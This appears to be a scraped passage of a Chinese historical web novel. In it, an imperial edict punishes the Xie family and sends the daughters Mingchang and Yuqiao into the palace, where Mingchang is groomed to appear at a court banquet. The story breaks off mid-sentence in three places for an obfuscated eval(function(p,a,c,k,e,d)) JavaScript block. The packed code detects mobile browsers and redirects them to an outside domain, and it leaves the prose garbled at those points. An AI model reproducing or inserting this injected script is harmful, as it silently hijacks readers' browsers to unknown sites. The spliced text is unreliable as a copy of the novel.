嗡——耳边隐约一声闷响,是弓弩扎进肉|体的声音。 马车进不来窄巷,停在巷口。谢明裳和谢玉翘互相搀扶着,耿老虎带人前后护卫,在小巷里缓行向前。 闷响声在身后不断响起。浓烈的血腥气飘散,随风四处弥漫。 浓烟弥漫,卷入小巷。紧闭的后门里传来一阵齐声大吼:“弓箭扔下!缴械不杀!” 一道浅浅的血河,蜿蜒从门缝下流出。 “呕~~” 谢玉翘停步俯身干呕起来。 谢明裳取出两条帕子,沾水打湿,一条递给五娘,一条帕子掩住鼻下的血腥气。 “五姐,如今你也算和广陵王见过面了,感觉如何?还要不要嫁去他家后院?” 谢玉翘脸色苍白,连连摆手: “勋贵门第,吃酒一场争执,竟会死这么多人。我又算什么。我、我再想想…… “出来一趟不容易,五姐想清楚。我们二楼的阁子包了整天,要不要再回去看一眼广陵王。” 身后不断传来箭矢入肉的闷响。 夜风裹挟着浓烈的血腥气,一阵阵地涌入鼻下,谢玉翘当真吐了,扶着墙,边流泪呕吐边踉跄前行: “……再不必提了。快走。” 耿老虎持刀护卫,两位头戴帷帽的小娘子在夜幕下撤出后巷,在街边迅速登车。 朴素的马车驶离御街时,远处转过来一堆甲胄鲜明的禁军,为首武将大声呼喝,往酒楼方向疾奔而去。 谢明裳坐在车里,放下布帘子,心里回想着惊鸿一瞥看到的景象。 三楼某个门户大敞的阁子,里头打得破破烂烂,阁子门外却插着一支新鲜摘下的雪白梨花。 她心里默念:“看两边撕咬倒是有趣。只可惜了好梨花。” —— 暮春时节的大雁从南向北,飞过金黄琉璃瓦殿顶。 宫城肃穆,内殿紫烟升腾。 林相在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13579681|141215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丹墀下手持玉笏板,往高处回禀。 “……事情大致就是如此。广陵王惊吓而走,人已经出京外,连夜递了弹劾奏本来朝廷。河间王无事人般通宵宴饮,回广陵王府休息了。” “死伤多少?” “河间王清了场。禁卫赶到后,只护送着广陵王单独离开。河间王的说辞是,无人伤亡。但广陵王的说法,他携带亲卫二十余人,全数失踪,生不见人,死不见尸。” 奉德帝坐在缭缭青烟笼罩里,看不清神色。 “朕这个五弟自幼失了慈母,年少又失父兄。朕顾念他身上四大捷的军功,轻易不愿责罚……林相觉得当如何处置。” 林相应声而答:“当值禁军护卫京城治安不利,不能及时阻拦两王争斗,应当重罚。当值的拱卫司步军指挥使、都虞侯两人撤职查办。” “就这样处置。”奉德帝满意地转开话题。 “太胡闹了。这才入京几日?广陵王也不知如何得罪的他。” 林相笑答:“倒不是广陵王如何得罪了河间王。河间王并非寻常宗室,乃是长居边地,血战厮杀长成的勇壮儿郎。乍入京城,日子过得安逸……无事也生事端啊。” “林相何意?有话直说。” “猛兽空闲时,也要磨砺爪牙。此乃天性,遏制不得。广陵王与其说是得罪了河间王……不如说,河间王空闲无事,缺个磨爪的物件,正好盯上了广陵王。” “广陵王不堪用。” “宗室子贵重,怪不得广陵王。京城容纳百川,总能寻到合适的供猛兽磨爪。” 奉德帝思忖片刻,摆摆手,命林相退下。 猛兽空闲,若不磨砺爪牙,便要生事。 在帝王眼里,军功威望过人的河间王,和东北边地叛乱的辽东王,两者并无太大区别。宁可养一只困守京城、闲极生事的困兽,也好过纵了链子,以后再收不回。 只可惜广陵王那软骨头,不堪猛兽磨爪,三两下就逃出了京城外。 奉德帝沉吟着,在堆成小山的奏本里翻了翻:“谢崇山的奏本还压着?” 冯喜从一大摞奏本里取出谢崇山的谢罪书,奉上御前:“留中未发。” 奉德帝挥挥手。殿内众内侍宫人退出后,又召入皇城司指挥使,这次问的却是: “谢氏女你可见过,是个怎样的小娘子。” 皇城司指挥使一怔:“相貌确实是个极出挑的美人,性情么,谢枢密使的膝下独女,家里养得娇惯,颇有些轻慢骄纵……” “详细说说。” 见圣上感兴趣,皇城司指挥使便添油加醋地仔细述说起来。 “谢六娘子身子骨不大好,病歪歪的,不经常出门。即便这样,也得罪了京城许多人家。时常见谢六娘子的车驾停在路边,和人骂架,观者如堵。一言不合,两边动起拳脚也是常事。谢六娘子出行必带众多健仆,骂又骂不过,打又打不过,只得目送她扬长而去……” “谢崇山这个女儿,确实养得骄纵啊……可见家里宠爱。”奉德帝笑着感慨道。 “相貌出挑,脾气又恰好对了河间王的性子,难得,难得。”连声两声难得。 皇城司指挥使不敢回话。 奉德帝想了一阵,挥退臣下,摊开谢崇山奏本,御笔蘸朱砂,朱笔落下第一个字。 —— 雪白梨花簌簌,随风飘落几瓣,落在长案上。 萧挽风站在敞阔的王府厅堂里,抬手摩挲着窗边斜插的两支雪白梨花。 经历了一场烟熏火烧,梨花酒楼盛景不再。枝头最后几支幸存的梨花,被他高价买下,插在梅瓶中清水供养。 急匆匆的脚步声便在这时传来。 “殿下!” 幕僚撩起青袍衣摆,急匆匆一路小跑进厅堂,高喊:“宫里急报!” “处置谢家的圣旨已颁下!刚刚传来的消息,传旨内侍出宫门,朝着谢家方向去了!” 20.第 20 章 谢家之主谢崇山上书请罪的第十日,圣旨颁下。 谢家门户敞开,香案铺陈。谢明裳跟随在父母兄长身后,跪倒在前院听旨。 这是一封措辞严厉的旨意。 圣旨斥责谢崇山立身不正,居高位而贪墨巨额军饷,贪蠹成性,国法难容,谢家父子即刻革职为庶民。 念在谢崇山曾经领兵救驾、千里赴国难之功勋,责令限期三月,如数填补军饷亏空,将功折罪,否则严惩不贷。 措辞虽然严厉,但谢家人最忧心的“抄家”、 “缉拿”几个关键字词始终未出现。 也未提及辽东王谋逆案。 谢明裳从头听到尾,听到“救驾”,“限期三月”“将功折罪”几个关键字眼后,心弦微微一松。 这封圣旨看似申斥严厉,实则高高举起,轻轻放下。 谢氏未抄家,谢家父子只革职,未流放,大有转圜余地。 似严实宽的一道圣旨宣到末尾时,就连谢琅都长出一口气,轻轻捻了捻袖中准备好的沉甸甸的钱袋,准备厚礼相赠传旨内侍—— 圣旨末尾却话锋突转,又以大段斥责收尾。 谢氏父子弹劾闭门思过期间,头顶贪墨渎罪,不知反省;交接大臣,意嫁女而后悔婚。暗行私事而废弛公心,岂有悔改之意? “谢氏全族留京戴罪。谢氏女罚入宫中。主者施行。” 谢明裳:“……” 前方的谢琅肩头一震,迅速回头后瞥。 谢明裳和兄长对望一眼,望见谢琅眼底的焦灼。 又顺着他的目光,转向前排跪倒的父亲。 谢崇山面无表情。 —— 颁旨内监在前院等着领人入宫。 来谢家颁旨的,还是上回领着禁军围门的黄内监。 提前准备好的赏赐钱袋,临时加两倍分量,沉甸甸地塞过去。 换来一句含糊不明的应承:“贵家千金接入宫中等待处置,乃是御笔亲提的圣意,中书省奉圣意草拟的诏书。至于入宫之后的安排,说不准。” 谢琅便揣着这句含糊不明的“说不准”,沉甸甸地回书房。 谢家老夫妻两个一言不发坐在书房里,琢磨着这句“说不准。” 男丁革职为庶人,留京戴罪,这些都是受贬罢官的官员常见待遇。怎么偏把未出阁的小娘子罚入宫中? 官员未下狱而女眷获罪,从未听闻过! 谢琅字斟句酌地劝说:“父亲母亲冷静些。圣旨只说‘罚入宫中’,并非‘罚没掖庭’。不见得是罚没入宫掖为奴。平心静气才好去问。” 但如何才能平心静气? 按照宫里来的传旨使者的说法,圣旨写明“谢氏女”,谢氏未出阁的小娘子,自然有几个算几个,全要带入宫里。 颁旨之后,谢家两个女儿,五娘玉翘和六娘明裳,即刻被禁军领入前院两处厢房里看管,只等更换宫里带来的衣裳,就要把人带走。 后知后觉自己要被罚入宫里的谢玉翘,心头也升起“罚没宫掖为奴婢”的猜测,想起上回录入宫籍脱衣验身的受辱场面,抹着泪哭了一场,借着单独更衣的机会,静悄悄卸了衣带要上吊。 头一回上吊不熟练,踹翻凳子的动静太大,被门外把守的禁军听到,大喊着把人从房梁高处救了下来。 消息隐瞒不住,闹腾得人仰马翻。 ——倒显得隔壁谢明裳那处厢房,格外的安静不寻常。 谢崇山面沉如水,当先起身:“先别惊动宫里的人,我们去看看明珠儿。” * 谢明裳这处的厢房,几扇门窗全部大敞开,屋里两个人影对坐。 宫里宣旨的黄内监原本在在前院等着领人,惊闻谢家五娘上吊寻死,惊得他扔了茶点,忙不迭地赶来亲自看守。 “哎,千金贵体,何苦来哉。两位娘子想开些,莫要钻了牛角尖。” 黄内监皮笑肉不笑地劝慰:“入宫之后具体如何咱不好说。但咱家这次领命,听到的风声……总之,不像罚没掖庭做苦役之类的苦差事。” 屋里一声清脆的嗑瓜子声。 谢明裳撇开南瓜子皮,又掂起白瓷盘一颗炒瓜子,不冷不热道: “黄公公听到了风声,却说得含含糊糊的,叫我如何想?进宫不做苦役,难道要入宫做娘娘?” 黄内监咳了声,依旧模棱两可地道:“是不是做娘娘……谁知道呢。这次谢家两位娘子乃是圣上御笔钦点入宫,少见的情形哪。宫里的事,向来说不准。” 咔哒咔哒响亮的声响,几片南瓜子皮落在地上。 谢明裳笑了声:“真好。原本我还没多想,被黄内监含含糊糊劝两句,我都想上吊了。黄内监把我们两姐妹的尸首带回宫里,也不知算不算交差。总之,尸首给你罢。” 说着把南瓜子扔去桌上,当着黄内监的面解了披帛,拧成一股绳形状。 黄内监慌忙大喊:“使不得!” 门外把守的禁军蜂拥而入,一通忙乱,才把披帛抢去,谢明裳站在桌边,轻轻一抬手,啪嗒,装南瓜子的瓷盘扔在地上摔成碎片,作势弯腰去捡。 禁军慌忙抢上几步,把人请去门外。七八名禁军涌入屋里,把满地的瓷盘碎片捡拾干净。 黄内监长长地松口气,转眼去瞧谢家这位不省心的六娘子,却见谢明裳站在门边,形状漂亮的唇角嘲讽上翘,削葱般的手指间不知何时夹了一片尖锐碎瓷。 “何必呢,黄公公。”谢明裳悠悠地说。 “与其藏着掖着,不如把事情敞开来说。我心里敞亮了,说不定还能去隔壁劝劝我那想不开的五姐,我们姐妹俩老老实实地随你入宫。” “黄内监偏不肯透口风,害得我心里不敞亮——还是两具尸首给你罢。” * 安静的厢房内闭门密谈片刻。 再开门时,黄内监面色不怎么好看跨出门槛:“咱家知道的,都对娘子透了底。娘子对咱家的承诺需得记住了。” 谢明裳道:“放心,不寻死。免得黄公公难交差。” 黄内监冷笑道:“别以为咱看不出,真正想寻死的人哪有六娘子这样的?都像你家五娘子,不声不响地去。咱家能帮衬的地方尽量帮衬,六娘子看好你家姐妹。” 谢明裳在屋里啪嗒啪嗒地嗑瓜子。扬声道:“黄公公答应的让我辞别爹娘呢。” “等着!” 门外忽地一声重敲。 谢明裳往虚掩的门外打量,还以为黄内监去而复返,没想到迎面撞见一双哭肿通红的眼睛。 禁军把隔壁厢房的五娘谢玉翘送来了。 “谢五娘子想开些。多听听六娘子的劝。”黄内监站在庭院里高声道: “毕竟——是六娘子的父兄围门期间不知悔罪,为私事而害公心,惹得圣上不悦,才有了把你们罚入宫中的圣旨。犯事的是谢家大房,六娘子才是正主儿,五娘子是捎带上的。现在六娘子人好好的,五娘子倒寻死觅活——何必呢。” 谢明裳冲门外喊:“好个心胸狭窄的黄内监。在我手里讨不得便宜,转头言语离间我家姐妹,你就这点本事?” 门外冷笑几声,黄内监拂袖而去。 禁军把谢玉翘引来门前。 谢玉翘脖子上一道明显的青紫勒痕,不等谢明裳打量清楚,玉翘便急忙拿手捂住。 手哪能捂住全部瘀痕,谢玉翘露出难堪神色,慌乱中又咳嗽不止。 谢明裳对着空空的桌子,转往门外喊:“送壶茶进来!” 门外宫人道:“黄公公吩咐,茶盏茶壶再不能送进屋了。免得六娘子又藏起碎瓷片,不知要做什么。” 谢明裳冲门外喊:“没有茶盏怎么喝茶。五姐姐难受,连口水都没有!” 屋里的谢玉翘突然爆发了。 她伤了喉咙,喊不高声,只能流着泪以气声说: “我是早该死的人了。只恨之前怕死贪生,以至于有今日的祸事落在头上。明珠儿,看在我们姐妹一场,你莫拦我,让我安安静静地去。”说罢就要发力撞墙。 谢明裳急忙起身拦阻,谢玉翘无论如何都要撞墙寻死。 两人在屋里不出声地争执片刻,谢明裳拦阻不住,索性停了手,直视五娘通红的眼睛: “黄内监的挑拨言语被你听进去了。祸事砸在头上,你心里有恨,对不对?但你心头的恨又不敢对着旁人宣泄,不敢恨别人,这股恨只能转回头对着自己。所以才想自尽,想毁了你自己。” 屋里寂静下去。 谢玉翘心头不断升腾的死意,仿佛新萌生的气泡被针戳出一个洞,散了个干净。她哽咽一声,捂着脸跌坐回床上。 谢明裳坐在玉翘身前,打量她脖颈上的青紫勒痕,平静与她说道: “这回犯事的是谢家大房,五姐确实被无辜牵累。” “你实在活不下去,恨自己恨得想死,不如来怪罪我。找个人恨一恨,总好过自己寻死。” 谢玉翘肩头一颤,捂着脸的手忽地放开,显露出一双通红肿胀的眼睛,拼命摇头。 “我心里是有恨,但我恨的不是你!” “上回难为你夜里带我去酒楼赏梨花。家里谁真心对我好,我分得清。明珠儿,这次你也落难,我如何能恨你。” 姐妹俩坐在床边,无声地拥抱在一处。谢明裳的肩膀被五娘紧搂着,耳边听她的哽咽渐渐停了。 “说得好。不枉我们姐妹一场。” 谢明裳握着五娘的手,心头畅快不少,声线也高了些。 “这回明显有人刻意为难谢家了。欲加之罪,何患无辞。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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门外重敲了两下,黄大监高喊:“时辰不早,该回程了。” 谢夫人快速地递过两个大包袱:“你的包袱里有药酒,准备了碎金银和纸交子。家里常用的物件包成大包袱装车,不知能不能送去你手上,药酒喝完了再想法子送进去。二房准备的包裹给五娘。” 门外又传来高喊,隐含不耐:“该回程了!耽搁了宫门下钥,进宫头一天就想吃板子?” 谢明裳接过包袱,退后半步,平静拢起新换好的素青长裙摆,向父母拜倒。 “爹娘供养女儿多年,如今到女儿回报谢家的时候了。” * 谢明裳出门时,春末夏初开始灼热的阳光映照天空。 门外人喊马嘶,围困谢宅多日的五百禁军正在分批撤走。 她停在门边,回身看过一张张送出门的面孔,悲喜各异的熟悉的脸。母亲强忍着哀恸,父亲隐忍着委屈,阿兄压抑着悲伤。 更多的当然是欢喜。 门外分批撤离的禁军,是圣意宽仁、宽赦谢家的最明显的体现。 常将军没有注意到身穿宫人青色衣裳的谢明裳和谢玉翘,只看到了送出门来的谢崇山夫妻。 常将军满脸喜气洋洋,远远地追上来道贺: “圣上挂念着谢帅当年京城解围的救驾之功!圣意似严实宽,仅仅革职罚银的惩处,还有起复的可能!谢帅想开些,银两可以慢慢筹措,名声就当个屁放了,谢家转危为安才是大幸事啊!” “两位小娘子入宫不见得是坏事。说不定出个娘娘呢——” 谢明裳听着,唇角微微上翘,算是捧场地笑了下,拢着宫里规制的素青长裙迈出门槛。 所谓“入宫做娘娘”,她压根是不信的。 只能说,天家还想用谢家。 按照天家的一贯手段,父亲哥哥贬谪为庶人,留京戴罪,父子四处奔走筹措二十万两;再把谢家女儿扣在宫里。 如果银两筹措得力,二十万两军饷有了,过十天半个月,依旧叫爹爹领兵。 东北边地的辽东王叛乱声势不小,北面的突厥虎视眈眈,战乱从没停歇过。不论哪边出兵,总之,爹爹必须玩儿命地打。打得大胜,才算“戴罪立功”。 那时再把谢家女儿放出宫去,又成一桩恩典。 “这些人,真贱啊。”她喃喃地说。 旁边玉翘没有听清,红肿的眼睛瞥来:“什么?” 谢明裳回头打量朝阳映照下的谢家宅子。后知后觉,脸上显出一点疑惑神色。 她突然想起,今天的圣旨从头到尾,并未提到把谢家宅子抄没官府。 “河间王上回登门,口口声声说宅子会被抄没赐做河间王府……骗人呢?” 21.第 21 章 对于这场短暂的入宫,谢明裳并没有留下太多印象。 她印象最深的一幕,兴许是进宫当日,阳光映在大殿高处的琉璃瓦上,黄澄澄的颜色极好看。 按照黄内监的说法,谢家两位小娘子奉圣意“罚入宫中”,不是普通宫人的入宫路子,接引宫人只简单收拾了一处偏殿,让两位谢家女郎住在一处。 地方荒僻,偏殿不大,统共只有三间屋,倒派来了四位女官看守,走一步盯一步,轻易不许出偏殿。 谢明裳猜想,兴许之前把黄内宦得罪得不轻,给她们准备了下马威。 她和谢玉翘的包裹入宫便被拿走,搜查一通,拿走了大半的“可疑物件”。 谢明裳摸着扁下去的包袱,和女官商量说:“至少把葫芦给我。葫芦里装的药酒,我每日早晚都要喝用的。” 几名女官拒绝给她,理由是“谁能担保葫芦里头装的是药酒,还是其他可疑药物?” 谢明裳捏了捏瘪下去的包裹:“家里给的金银少了一多半去,也不知你们几位分到多少,我不计较了。实在身子不好,最近换季,药酒一日离不得。各位拿人钱财,不能通融通融?” 四位女官里年纪最长的姓章,人称章司仪。听完谢明裳的话,缓缓露出一个微笑。 身为宫里训练有素的女官,章司仪举手抬足皆是标准仪态,笑不露齿,谦恭姿态下暗藏嘲讽。谢明裳不喜欢她的眼神。 章司仪轻声细语道:“宫里讲究人证物证。无凭无据的事,谢六娘还是莫妄言了。闹出去只会你们姐妹自己受罚。何必呢。” 包袱里的金银少了多少说不清,反正掌事女官压根不认帐,药酒也不给。 谢明裳没和她们多争执,转身进屋收拾被褥。 这处偏殿僻静,僻静的意思是少人打理。整套被褥虽然准备齐全,但入手摸着冰凉,也不知多久没在阳光下晒过了。 谢明裳抱着被子和女官商量晒被子,又被一口拒绝了。 “宫里有宫里的规矩。”章司仪不冷不热道:“谢娘子在自家过得散漫,想要晒被子随时吩咐人晒出去。宫里哪能如此随心所欲呢。” 谢明裳挨个瞥过四位女官的脸,眼神有些奇异。 “晒被都不允许,我想换家里带来的软枕用,瓷枕容易引发头疼。想必更不行了?” 无人应答。 她也没再说什么,抱着冰凉的被子回了屋。 当天晚上,她吃喝完宫里送来的简单膳食,没有喝药,枕着冰凉的瓷枕,盖着冰凉梆硬的被褥,在背阴少光的偏殿里入睡。 ——当夜就病倒了。 这场病来势汹汹,她半夜身上起了热,呼吸急促,人惊醒过来,却不吭声。 因为身边没有兰夏和鹿鸣随时盯着的缘故,同屋的谢玉翘又心情低落,早早地睡下了。直到女官隔天清晨过来喊她们起身,左请右邀,死活请不动谢明裳下床,一把掀开帐子。 众人才惊觉,谢家刚入宫的六娘子人已烧得脸颊通红。 …… 谢明裳再清醒时,发现自己被挪了地方。 不知哪处的殿室,明显精致敞阔了许多,采光也更好,布局坐北朝南,不像偏殿,倒像正殿布局。 灌进嘴里的药汤显然是家里带来的虎骨药酒。 谢明裳的眼睑细微抖动,浓黑睫羽露出一条缝隙。 谢玉翘坐在床边,正在给她喂药。称得上楚楚动人的杏眼早哭成了金鱼泡,鼻尖下巴都被泪水浸得通红,一抽一抽的。 “明珠儿……你,你怎么连家里的药酒都吃不进了。你别吓我,别丢下我一个……我们姐妹两个进的宫,也要好好地一起出去……呜呜呜……” 谢明裳肩头微动,在谢玉翘蓦然瞪大的目光下,从被褥里伸出手。 冷玉般冰凉的指尖先摸了下被褥。质地极好的蚕丝鸭绒被,轻软又保暖,是家里备给她的。 再去摸枕头。同样是家里带来的松软又安神的荞麦药枕。 “等病倒都拿来了。早听我的……咳咳咳……” 谢明裳忍着喉咙里的痒意,沙哑地说:“把该备的都备好了,什么事都不会有。” 谢玉翘忽地反应过来,噙着泪花,脸上又哭又笑:“你醒了!你昏睡了整日,御医都来过三轮——” “别凑过来。不要做出担心我的样子。” 谢明裳接过酒杯,在玉翘愕然的表情里,把整杯药酒饮尽,空杯递过去,人重新躺倒。 “喂药可以再敷衍一点。装出相看两厌,互不搭话的模样。别叫他们看出我们的情谊。” 谢玉翘惊愕地坐在床边,没听明白,茫然间手一松,药酒杯落到青砖地上,碎得四分五裂。 她猛地清醒过来,弯腰慌忙要捡拾碎片,谢明裳阻止:“别捡。” 她急促地喘口气,低声往下说: “——做戏。做出相看两厌的姿态,免得被宫里的人拿捏住弱点,拿你要挟我,又拿我要挟你,做出种种恶心戏码。眼泪擦一擦,别再盯着我哭。有人来了。” 两名陌生面孔的宫人听闻声响,快步来床前查看。谢明裳闭着眼说: “五姐没见过我发病?我发起病来……咳咳,就是这般磨人。五姐受得住便留着,受不住自己走。” 谢玉翘把脸扭向床外,在周围宫人的窥探眼神里,盯着地上摔碎的药酒杯,嘴唇翕动几下,终究什么也没说,咬牙直接起身走出去。 宫人过来服侍喝药酒。谢明裳感觉疲惫,喝完第二杯药酒重新睡下,闭着眼说: “如果有人问起怎么发病,你们如实说,之前四位女官照顾的不得力。我这身子在关外落了病根,不能受一点亏待的。” 把该说的软刀子捅完了,人放心地又睡了过去。 再醒来时,似乎是个夜里。 光线黯淡,暮色浓厚。透过一层薄纱帐子,依稀看到两三个守夜宫人坐在床边。 她这处细微地动一下,立刻便惊动宫人查看,服侍吃粥吃药,又迅速奔出一个内侍找御医。 训练有素的动作里透露出紧张。御医不到两刻钟就赶到,神色凝重地诊脉。 谢明裳没忍住笑了下,这些宫人只怕把她当做风吹就灭的美人灯了。 紧张意味着什么? 意味着在某些人眼里,她还有用。 谢明裳放松地摊平手臂,任凭御医诊脉,心思飘去了十万八千里外。 颁下圣旨的当天,围困谢宅的禁军便撤走。爹爹上书请罪这一步暗合圣意,做对了。 谢家断尾求生,逃脱谋逆死罪。 从此剩下的都是零零碎碎的活罪。 爹爹卖了半辈子命,卖完还不落个好。 等二十万两军饷筹措得来,爹爹多半要领兵出征继续卖命。得一场大捷,才会换来天家的恩典,把扣在京城的谢家儿女给放了。 谢明裳心里估摸着,自己运气好的话,爹爹凯旋归来,兴许能赶在二十岁之前放出宫去? 万一运气不好,没等到爹爹凯旋归来,自己就病死在宫里…… 她想了想,觉得倒也一了百了,没什么不好。 只怕五娘要哭死。 谢玉翘显然还记得“相看两厌、免得被人拿捏住弱点”的叮嘱,得知谢明裳醒了,强忍到第三天才来看她,临走两人还装模作样吵了一场。 没想到当天晚上,谢玉翘又匆匆赶来第二趟。 她和黄内监前后脚过来的。黄内监坐在外间和御医寒暄谈论病情,隔着一道镂空隔断,声音清晰地传进内室。 只听黄内监道:“人可不能在这清凉殿里出事。用几味重药,把精气神吊起来。咱家有话问她。” 谢玉翘坐在床边,想说什么又不敢,默然对坐了半日,啪嗒,眼泪先掉下来。 入宫这几日,她哭起来连声音都没了,只默默地低头拭泪。谢明裳抬手递帕子,立刻被紧紧攥住,半天没肯放开,引得服侍宫人侧目而视。 谢明裳无声地叹了口气,说好的“相看两厌”呢? 谢玉翘其实没忘,但她实在受不住了。 “明珠儿,事不对!黄公公找我说——” 谢明裳将纱帐放下,隔断远近几道窥视的视线。 帐子里的谢玉翘低声说起黄内监找她的事。 起先问她谢家可有教习女郎才艺,琴棋书画,歌舞丝竹皆可。谢玉翘琢磨不准,便称姐妹俩并无学习什么才艺。黄公公惋惜地记录在案走了。 “刚才……他竟领个教坊女子来,跳了一支水袖舞,问这样的软舞,你会不会跳!说宫里这几天设宴,定下要你上场献艺。学乐器肯定来不及了,可以试学一支舞。我们又不是教坊女子,作甚要你上场献艺!” 谢明裳拧了下眉。听着确实古怪。 谢玉翘还在惊疑复述:“我说你身子不好,人病着哪能赴宴。黄公公说不算赴宴,走个过场,露个面。能跳舞的话还是——” 谢明裳轻轻一推,示意她松手:“姓黄的进来了。听他如何说。” 才拢下的帐子被服侍宫人重新勾起挂好,露出帐子里对坐的两位女郎。 黄内监领着几个小内侍,哈哈笑着从外间走进来坐下。 “听御医说六娘子病情堪稳,好事啊!” 他带来的说辞,和玉翘那边大抵类似。 “最近春夏换季,百花盛开。宫里打算设宴,广邀宗室勋贵赴宴赏游,投壶赏花,乃是四月里的一场盛事。” 黄内监上下打量大病未愈的谢明裳,似乎想从她的身材样貌上查勘出细节,打量半晌,试探地问: “谢六娘子瞧着身段柔软,手脚纤长。宫宴当中献舞一曲……选一支不甚费力的软舞,六娘子可以做的罢?” 谢明裳靠坐在床头,弯了弯唇:“软舞不会,没人教过。只在关外学过几年弓马,会舞弯刀。可要我献一段弯刀舞?” 黄内监还当真琢磨了一会儿,遗憾地摆摆手:“御前动刀剑不妥当。” “六娘子身子未痊愈,走个过场,宫宴当中露个面也就罢了。只是衣裳要赶制。” 黄内监招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13591445|141215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼两个宫女上前量体裁衣。 谢明裳坐床上懒得动弹。趁宫人慢腾腾量身的当儿,不经意地问一句: “宫宴哪会少了歌舞鼓乐?我病中不能舞,家里又顶着戴罪立功的尴尬名头,偏要我露面扫兴。宫里哪位贵人的意思?这个过场非得要走?” 黄内监哈哈地笑,说得还是牛头不对马嘴的含糊说辞: “美人如花靥,人比花更娇。难得的赏花宫宴,当然少不得美人,大家喜闻乐见啊。六娘子这个过场,非走不可。” 谢明裳睨着黄内监假笑的嘴脸,忽然想起和杜二闹翻那夜,杜幼清看她的眼神,轻佻抚上她手腕的拇指。 那时候他正在四处奔走,试图把她买下。她在杜幼清的眼里已经不是个人了。 具体算什么?会喘气的物件?身价名贵的私藏品?兴许和她在端仪小郡主那处看过的夜明珠差不多。 价值珍贵,值得用个贵重的楠木盒搭配绸缎内垫,把夜明珠仔细放置,兴起时拿出赏玩。 宫里如今对她的态度也差不多。 宫宴献舞,赶制衣裳。她露面不叫赴宴,叫“走个过场”,有资格入席坐着的宾客才叫“赴宴”。 她原先猜测的“抵押在宫里为质”,原来还是高看了对方。宫里压根没打算放她回谢家。 入宫一趟,好好的人,就成了宫里的物件了。 “真贱啊。”她靠在床头,喃喃地说。 黄内监居然听清了,震惊地一张嘴,“啊?” 谢明裳突然翻脸发了脾气,把服侍宫人都骂出去,和五娘对视一眼,示意她也离去。内室只剩她自己和黄内监,边喝药边说她的想法。 “咱们两个也算认识不少日子了,说句实话罢黄公公。” “把我弄进宫里,原没想着这么快用我,打算把我晾一阵子。却没想到我身子骨这般不好,一场病闹下来,打乱了贵人的筹划。死在宫里不好和谢家交代,索性把我扔出去,货与下家。死在旁人家里,总归和贵人没关系了。” “过几日宫宴,非要我‘走个过场’。是不是宴席上有等着我的‘下家’。” 黄内监嘿得一笑,居然竖起大拇指。 “聪慧人。跟聪慧人不说虚的,总之,贵人也不想你出事。贵人的安排,遵从便是。” 黄内监还惦记着刚才听到的那句“真贱”,上下打量着面前小娘子苍白病容遮掩不住的殊丽颜色,打着哈哈说: “谢六娘子倒也不必妄自菲薄嘛。毕竟是是堂堂二品枢密使家中的嫡女,官宦人家的女郎,并非那些贱籍女子。不同的,不同的。哈哈哈。” 谢明裳正好喝完了药,嗤笑一声。 “黄公公误会了。你当我说哪个下贱?这皇城内外,谁作践人,谁下贱。真贱。” “哎哟。”黄内监不敢接话了,赶紧抬腿走人。 走到半途人又弯回来:“六娘子,你我既然交了底,之后这几天,你家五娘可不能和你见面了。免得你说什么不该说的话出去。” 谢明裳懒得多搭理他:“让我们传信,我只捡能写的写给五娘便是。每天传一封信,我好好吃药。五娘的信不到,过几天宫宴,黄公公自己上去走过场罢。” 黄内监拂袖而去。 第二日清晨,谢玉翘的信如期而至,忧心忡忡问起: “不知宫里打算如何处置我们?” 谢明裳回信写道:“宫里已对我定下去处。” “倒是五姐姐你,你心里自有想法的。打算出宫,还是留在宫里做娘娘?想想自己的前程。” 谢玉翘没看出‘留在宫里做娘娘’的戏谑之意,认真回了信。 “宫里规矩大得吓人,我不行的,留不得。你会去何处?” 是个好问题。 谢明裳想了良久,她被人当做棋子挪来动去,多半不会好的了。 回信里写道:“你最好别跟我。如有机会,我想法子放你出去;如无法的话,等父亲立下军功,他必会求放你出宫。” “别怕,五姐姐,前头还有路。你只管好好地活。” * 日子慢起来难熬,有时却又快得如流水。谢明裳在宫里养病这些天,珍贵补药不要钱似的吃用,各种药一天四顿的喝,反正她不心疼。 四五天过去,连续下了重药,她的精神居然看起来不错。 尚衣局把赶制的衣裳送来,极为合身,料子也是上好的织锦绸缎,只是里里外外几身衣裳俱是素色的。 上身浅淡的月白色,衣襟银蓝色滚边,还算有点颜色。 下身长裙索性用的素白色绸缎,银白滚边,在极明亮的光线下才隐约看出长裙上银线暗绣的梅枝映雪纹。 谢明裳从未穿过这么素净的衣裳。 从上到下穿戴起来,大病初愈的瘦削肩膀和苍白气色在素色映衬下倒更显得恬淡出尘,越发彰显出一头浓密乌黑的长发,一双黑白分明的澄澈眼睛。 仿佛早春枝头俏生生的栀子花。 四月二十八这天,花堆锦簇,宫中设宴。